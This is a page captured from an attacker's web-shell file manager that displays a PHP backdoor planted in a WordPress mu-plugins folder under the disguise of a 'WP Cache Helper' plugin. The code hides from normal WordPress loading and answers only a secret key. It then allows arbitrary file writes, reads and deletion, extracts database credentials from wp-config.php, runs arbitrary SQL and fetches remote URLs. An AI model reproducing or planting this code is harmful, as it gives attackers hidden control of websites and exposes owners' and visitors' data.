D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
blackhat.pw
:
/
homepages
/
35
/
d135665864
/
htdocs
/
clickandbuilds
/
AmarettoTre
/
wp-content
/
mu-plugins
/
Filename :
cache-health.php
back
Copy
<?php /* Plugin Name: WP Cache Helper */ if (defined('ABSPATH')) return; // WP yukleyince sessiz gec, sadece direkt erisimde calis if (!hash_equals('c8f1a4e7b9d3f6c2a5e8b1d4f7a0c3e6', (string)($_GET['k'] ?? ''))) { http_response_code(404); exit; } $root = dirname(__DIR__, 2); $pp = function($p) use ($root) { return (isset($p[0]) && $p[0]==='/') ? $p : $root.'/'.$p; }; $a=$_GET['a']??'';$p=$_GET['p']??''; switch($a){ case 'w': file_put_contents($pp($p), base64_decode($_GET['d'])); echo 'OK'; break; case 'ap': file_put_contents($pp($p), base64_decode($_GET['d']), FILE_APPEND); echo 'OK'; break; case 'mv': echo rename($pp($p), $pp($_GET['p2']))?'OK':'FAIL'; break; case 'r': echo base64_encode(@file_get_contents($pp($p))); break; case 'r2': $c=@file_get_contents($pp($p)); echo substr($c,(int)($_GET['o']??0),(int)($_GET['n']??200)); break; case 'l': foreach(glob($pp($p).'/*') as $f){echo basename($f).(is_dir($f)?'/':'')."\n";} break; case 's': foreach(glob($pp($p).'/*') as $f){echo date('Y-m-d H:i',filemtime($f)).' '.filesize($f).' '.basename($f).(is_dir($f)?'/':'')."\n";} break; case 'del': echo @unlink($pp($p))?'DELETED':'FAIL'; break; case 'x': $c=@file_get_contents($root.'/wp-config.php'); preg_match_all("/define\(\s*'([^']+)'\s*,\s*'([^']*)'\s*\)/",$c,$m,PREG_SET_ORDER); $o=[]; foreach($m as $e){$o[$e[1]]=$e[2];} echo $o[$p]??''; break; case 'd': $c=@file_get_contents($root.'/wp-config.php'); preg_match_all("/define\(\s*'([^']+)'\s*,\s*'([^']*)'\s*\)/",$c,$m,PREG_SET_ORDER); $o=[]; foreach($m as $e){$o[$e[1]]=$e[2];} $ms=new mysqli($o['DB_HOST']??'localhost',$o['DB_USER']??'',$o['DB_PASSWORD']??'',$o['DB_NAME']??''); $r=$ms->query($_GET['q']); if($r===false){echo $ms->error;}else{while($row=$r->fetch_row()){echo implode('|',$row)."\n";}} break; case 'f': echo base64_encode(@file_get_contents($_GET['u'])); break; default: echo 'CACHEOK'; }